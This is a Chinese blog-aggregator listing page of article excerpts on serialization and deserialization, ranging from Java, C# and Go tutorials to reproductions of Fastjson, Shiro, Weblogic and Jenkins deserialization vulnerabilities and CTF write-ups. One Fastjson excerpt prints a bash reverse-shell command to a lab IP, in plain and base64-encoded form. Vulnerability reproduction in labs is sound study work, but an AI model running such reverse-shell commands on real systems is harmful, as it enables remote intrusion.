weblogic反序列化

PHP中原生类SoapClient反序列化的SSRF利用

1.[LCTF2018]bestphp'srevengeindex.phparray(0){}flag.phpsession_start();echo'onlylocalhostcangetflag!';$flag='LCTF{*************************}';if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){$_SESSION['flag'
El.十一·2023-12-01 12:54

Unity优化——脚本优化策略4

目录一、最小化反序列化行为1.1减小序列化对象1.2异步加载序列化对象1.3在内存中保存之前加载过的序列化对象1.4将公共数据移入ScriptableObject二、叠加、异步地加载场景三、创建自定义的
七七喝椰奶·2023-12-01 11:46

剑指offer 37：序列化二叉树

题目描述：请实现两个函数，分别用来序列化和反序列化二叉树，不对序列化之后的字符串进行约束，但要求能够根据序列化之后的字符串重新构造出一棵与原二叉树相同的树。
姚舜禹_12140·2023-12-01 08:20

Unity框架设计系列专题1.1 Unity 如何设计网络框架

这里有一个游戏开发交流小组，希望大家可以点击进来一起交流一下开发经验呀(1)TCP半包粘包,长连接与短连接,IO阻塞;(2)TcpSocket与UDPSocket的技术方案;(3)Unity的序列化与反序列化技术方案
博毅创为·2023-12-01 06:03

Jackson无缝替换Fastjson

目录文章目录一，Fastjson到Jackson的替换方案方案代码序列化反序列化通过key获取某种类型的值类型替换二，Springboot工程中序列化的使用场景三，SpringMVC框架中的Http消息转换器
Edward*H·2023-12-01 05:37

go学习之json和单元测试知识

文章目录一、json以及序列化1.概述2.json应用场景图3.json数据格式说明4.json的序列化1）介绍2）应用案例5.json的反序列化1）介绍2）应用案例二、单元测试1.引子2.单元测试-基本介绍
留乘船·2023-12-01 04:42

Externalizable序列化与反序列化

java.io.Externalizable接口的主要目标是促进自定义序列化和反序列化。
竹鼠不要中暑·2023-12-01 01:01

Redis String类型存取注意事项

在newtonsoft,jsonV10.0.2版本中如果存入Redis的时候String类型不Json序列化,取出Redis的时候String类型Json反序列化,如果是数字字符串反序列化不报错,如果是中文字符串则反序列化报错
八哥~·2023-12-01 00:27

WEB渗透—反序列化（八）

Web渗透—反序列化课程学习分享（课程非本人制作，仅提供学习分享）靶场下载地址：GitHub-mcc0624/php_ser_Class:php反序列化靶场课程，基于课程制作的靶场课程地址：PHP反序列化漏洞学习
haosha。·2023-12-01 00:49

WEB渗透—反序列化（九）

Web渗透—反序列化课程学习分享（课程非本人制作，仅提供学习分享）靶场下载地址：GitHub-mcc0624/php_ser_Class:php反序列化靶场课程，基于课程制作的靶场课程地址：PHP反序列化漏洞学习
haosha。·2023-12-01 00:46

jenkins安裝使用及构建后部署tomcat/weblogic

一.下载和安装我们从Jenkins官方网站https://jenkins.io/下载最新的war包。虽然Jenkins提供了Windows、Linux、OSX等各种安装程序，但是，这些安装程序都没有war包好使。我从未见过Jenkins这样把Java包做得如此简单的项目。启动方式有多种1.只需要运行命令：java-jarjenkins.warnohupjava-jar-Dorg.jenkinsci
weichen6·2023-11-30 23:24

VNCTF2022 web全复现

web文章目录webGameV4.0gocalc0easyJ4va信息收集获取key反序列化newcalc0非预期PoC1PoC2预期解InterestingPHP解法一解法二GameV4.0前端小游戏题
Pysnow·2023-11-30 22:31

[DASCTF 2023 & 0X401七月暑期挑战赛] web刷题记录

文章目录EzFlask方法一python原型链污染方法二flask框架静态文件方法三pin码计算MyPicDisk方法一字符串拼接执行命令方法二phar反序列化ez_cmsEzFlask考点：python
_rev1ve·2023-11-30 22:30

C#文件操作

FileInfo的主要区别：文件夹操作：Directory：DirectoryInfo：Directory类和DirectoryInfo类的区别：数据操作：读写文件操作的基本步骤：读取操作：写入操作：序列化和反序列化
lixww.cn·2023-11-30 20:37

Aapche Dubbo 不安全的 Java 反序列化 （CVE-2019-17564）

漏洞描述ApacheDubbo是一个高性能的、基于Java的开源RPC框架。ApacheDubbo支持不同的协议，它的HTTP协议处理程序是SpringFramework的.org.springframework.remoting.httpinvoker.HttpInvokerServiceExporterSpringFramework的安全警告显示，HttpInvokerServiceExpor
blackK_YC·2023-11-30 19:10

【SpringCloud Alibaba系列】Dubbo高级特性篇

一、序列化Java对象->序列化->流数据流数据->反序列化->Java对象依赖一个公共的相同模块即保
蓝染-惣右介·2023-11-30 15:06

云时空社会化商业 ERP 系统 Shiro 反序列化漏洞复现

0x02漏洞概述云时空社会化商业ERP系统存在shiro反序列化漏洞
OidBoy_G·2023-11-30 13:09

一个恋爱小故事告诉你什么是gRPC？！

后者是网络传输中的协议，而RPC是一种设计、实现框架，通讯协议只是其中一部分，RPC不仅要解决协议通讯的问题，还有序列化与反序列化，以及消息通知。
上山打 老虎·2023-11-30 13:36

java的序列化和反序列化详解及示例

文章目录一、Java序列化的作用二、实现java对象的序列化和反序列化1、序列化规则2、序列化步骤3、注意事项三、序列化接口Serializable1、介绍2、示例四、实现接口Externalizable1
一瓢一瓢的饮 alanchan·2023-11-30 12:44

java的序列化和反序列化

java的序列化和反序列化目录java的序列化和反序列化java序列化java反序列化为什么要将java对象序列化序列化作用序列化和反序列化步骤创建一个实现了Serializable接口的对象序列化一个对象反序列化对象
YiHua_yiye·2023-11-30 12:41

升级apache2.4.46最新版本，并配置weblogic10.3转发，需要插件mod_wl_24.so

apache2.4和weblogic10.31.查看系统httpd包[root@localhostopt]#rpm-qa|grephttpd1.1#卸载httpd[root@localhostopt]#
大虾别跑·2023-11-30 11:31

XmlElement注解在Java列表属性：要注意实例化，否则从xml数据反序列化到Java对象会失败

需要注意该属性的实例化，如果不实例化的话，从xml数据反序列化到Java对象的时候出错。
听海边涛声·2023-11-30 11:18

深入了解Jackson库中的ObjectMapper：Java对象的序列化和反序列化

Jackson库作为Java中最受欢迎的JSON处理库之一，提供了ObjectMapper类来简化对象的序列化和反序列化过程。
疯风0409·2023-11-30 10:08

I/O流

流的概念2.1、输入流2.1.1、字节输入流2.1.2、字符输入流2.2、输出流2.2.1、字节输出流2.2.2、字符输出流3、文件复制4、文件移动5、数据输入/输出流6、序列化读写6.1、序列化6.2、反序列化
我愿成为你头顶的云·2023-11-30 08:38

JAVA泛型的使用和深入理解

泛型的使用泛型类泛型接口泛型方法限定类型变量泛型的限制泛型类型的继承规则通配符泛型的实现原理(类型擦除)获取一个对象上的泛型类型Gson反序列化需要借助TypeToken为什么我们需要泛型？
谁谁谁动了我·2023-11-30 07:08

springboot+redis的demo整合

我在demo开发中，最容易出错点：redis获取对象的序列化与反序列化，对其数据结构（ValueOperations、SetOperations、ZSetOperations、HashOperations
developerFBI·2023-11-30 01:42

关于网页跳转报报未能够识别出目标 'ST-887-ikaqqy3baEfkerR24ZUP-cas01.example.org'票根的错误解决办法

环境weblogic服务器c#客户端Java提供后台服务三方权限管理平台(ISC)需求按照测试人员的要求，客户端需要通过一个网页去获取用户信息实现自登录的过程，简单的说，用户不需要在客户端输入用户名和密码登录实现过程
会上树的程序猿·2023-11-29 20:54

SOME/IP协议详解[7 SOME/IP序列化]

什么是序列化与反序列化？序列化是指将数据结构或对象按定义的规则转换成二进制串的过程。反序列化是指将二进制串依据相同规则重新构建成数据结构或对象的过程。而本质就是一种编码规范。
大魔王库巴·2023-11-29 19:24

C#实体类与XML相互转换

把XML转换成相应的实体类，需要使用到XmlSerializer类的Deserialize方法，将XML进行反序列化。
pan_junbiao·2023-11-29 13:38

ASP.NET Core Web API设置响应输出的Json数据格式的两种方式

前言在ASP.NETCoreWebAPI中设置响应输出Json数据格式有两种方式，可以通过添加System.Text.Json或Newtonsoft.JsonJSON序列化和反序列化库在应用程序中全局设置接口响应的
液态不合群·2023-11-29 12:44

IO流-ObjectInputStream对象处理流（序列化与反序列化）

对象处理流ObjectInputStream（反序列化）,ObjectOutputStream（序列化）在开发中会有这样一些需求，例如要求将int100，Dog对象序列化到文件中，需要时再反序列化到代码中
象鼻山大王、·2023-11-29 11:49

ASP.NET Core Web API设置响应输出的Json数据格式的两种方式

前言在ASP.NETCoreWebAPI中设置响应输出Json数据格式有两种方式，可以通过添加System.Text.Json或Newtonsoft.JsonJSON序列化和反序列化库在应用程序中全局设置接口响应的
追逐时光者·2023-11-29 10:22

Pikachu靶场（PHP反序列化漏洞）

查看php反序列化漏洞的概述，了解序列化与反序列化。构造payloadalert('wjy')";}$c=newS();echo(serialize($c));?
西柠！·2023-11-29 08:52

C++ 二进制数据序列化和反序列化

一、基础知识1、memcpy:内存拷贝函数函数原型：void*memcpy(void*dest,constvoid*src,size_tcount);2、代码编写(采用循环的方式将字节内容逐一拷贝)void*my_memcpy(void*dest,constvoid*src,size_tcount){assert(dest);//防止函数接受空指针进行操作assert(src);void*ret=
川谷_·2023-11-29 07:07

【计算机网络学习之路】序列化，反序列化和初识协议

文章目录前言一.序列化和反序列化1.自己实现2.JSON二.初识协议结束语前言本系列文章是计算机网络学习的笔记，欢迎大佬们阅读，纠错，分享相关知识。希望可以与你共同进步。
好想有猫猫·2023-11-29 07:53

Jackson 注解及配置大全

Jackson基本注解注解说明@JsonProperty属性注解，把属性的名称序列化时转换为另外一个名称@JsonIgnore属性注解，使相应字段不参与序列化和反序列化@JsonIgnoreProperties
小花卷的dad·2023-11-29 06:24

序列化体系之常用的序列化方案的深入浅出

今天我们来一起聊一下序列化和反序列化，其实这两个“活宝”对大家来说都不陌生，而且也会觉得这有什么好聊的，其实笔者之前也是这样想的，可就是这么简单的两个东西，反而往往会忽略。
初夏的雪·2023-11-29 05:06

jenkins 代码执行 (CVE-2017-1000353)漏洞复现

Jenkins的反序列化漏洞，攻击者使用该漏洞可以在被攻击服务器执行任意代码，漏洞利
梧六柒·2023-11-29 03:26

fastjson 1.2.24 反序列化导致任意命令执行漏洞

漏洞描述fastjson在解析json的过程中，支持使用autoType来实例化某一个具体的类，并调用该类的set/get方法来访问属性。通过查找代码中相关的方法，即可构造出一些恶意利用链。参考资料：浅谈FastjsonRCE漏洞的绕过史-FreeBuf网络安全行业门户http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A
blackK_YC·2023-11-29 03:52

Fastjson-1.2.47远程命令执行漏洞(标明坑位)

真的是有其人的，于是花了一点时间去复现这个洞，毕竟工作上有可能会遇到的，并且也标明了一些坑位，反正按照这篇文章是可以100%机率可以复现成功的漏洞概述首先，Fastjson提供了autotype功能，允许用户在反序列化数据中通
晚安這個未知的世界·2023-11-29 03:51

fastjson漏洞 - Fastjson1.2.47反序列化漏洞

文章目录Fastjson简介历史漏洞Fastjson&/dev/tcp/攻击机ip/66660>&1进行base64编码bash-i>&/dev/tcp/192.168.88.128/99990>&1bash-c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg4LjEyOC85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}java-
渗透测试小白·2023-11-29 03:20

fastjson 1.2.24 反序列化 CVE-2017-18349 && Fastjson 1.2.47 远程命令执行漏洞

前言fastjson库是Java的一个json库，其作用是将Java对象转换成json数据来表示，也可以将json数据转换成Java对象漏洞描述FastJson在解析json的过程中，支持使用autoType来实例化某一个具体的类，并调用该类的set/get方法来访问属性。通过查找代码中相关的方法，即可构造出一些恶意利用链。环境准备靶场：Vulhub靶机：192.168.239.128Kali：1
哇·咔咔·2023-11-29 03:20

rmi远程代码执行漏洞_Fastjson 1.2.47 远程命令执行漏洞 - 漏洞环境

fastjson于1.2.24版本后增加了反序列化白名单，而在1.2.48以前的版本中，攻击者可以利用特殊构造的json字符串绕过白名单检测，成功执行任意命令。
weixin_39686192·2023-11-29 03:49

复现Fastjson 1.2.47 远程命令执行漏洞

fastjson于1.2.24版本后增加了反序列化白名单，而在1.2.48以前的版本中，攻击者可以利用特殊构造的json字符串绕过白名单检测，成功执行任意命令。
清风-77·2023-11-29 03:17

Fastjson 1.2.47 远程命令执行漏洞复现记录分享

fastjson于1.2.24版本后增加了反序列化白名单，而在1.2.48以前的版本中，攻击者可以利用特殊构造的json字符串绕过白名单检测，成功执行任意命令。因此在这里建议请及时更新至最新版本！
YezIwnl·2023-11-29 03:46

Fastjson 1.2.47 远程命令执行漏洞

fastjson于1.2.24版本后增加了反序列化白名单，而在1.2.48以前的版本中，攻击者可以利用特殊构造的json字符串绕过白名单检测，成功执行任意命令。
blackK_YC·2023-11-29 03:37

Java相关的序列化与反序列化

一、序列化的目的存储传输深拷贝扩大权限定义将对象的状态信息组织为字节流（二进制流）的形式过程。实质一种用来处理对象流的机制结构化数据的编码二、序列化的技术分类Java语言专用Java内置序列化kryoFSTIDLThriftAvroprotocolbuffer非IDL技术XMLJSON三、Java序列化核心技术实现方式自定义实现Serializable（readObject和writeObject
拦路雨g·2023-11-28 22:10

Weblogic 常见漏洞汇总

WebLogic是美国Oracle公司出品的一个applicationserver，确切的说是一个基于JAVAEE架构的中间件，WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的
半只特立独行的猪·2023-11-28 18:19

中间件安全：Weblogic 漏洞.（使用工具可以利用多种类型漏洞）

中间件安全：Weblogic漏洞.
半个西瓜.·2023-11-28 18:11

pikachu靶场:php反序列化漏洞

pikachu靶场:php反序列化漏洞文章目录pikachu靶场:php反序列化漏洞代码审计漏洞利用代码审计像这种反序列化的代码基本都是代码审计出的//定义一个名为S的类，该类有一个属性$test和一个构造函数
抠脚大汉在网络·2023-11-28 17:00
上一页 16 17 18 19 20 21 22 23 下一页
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他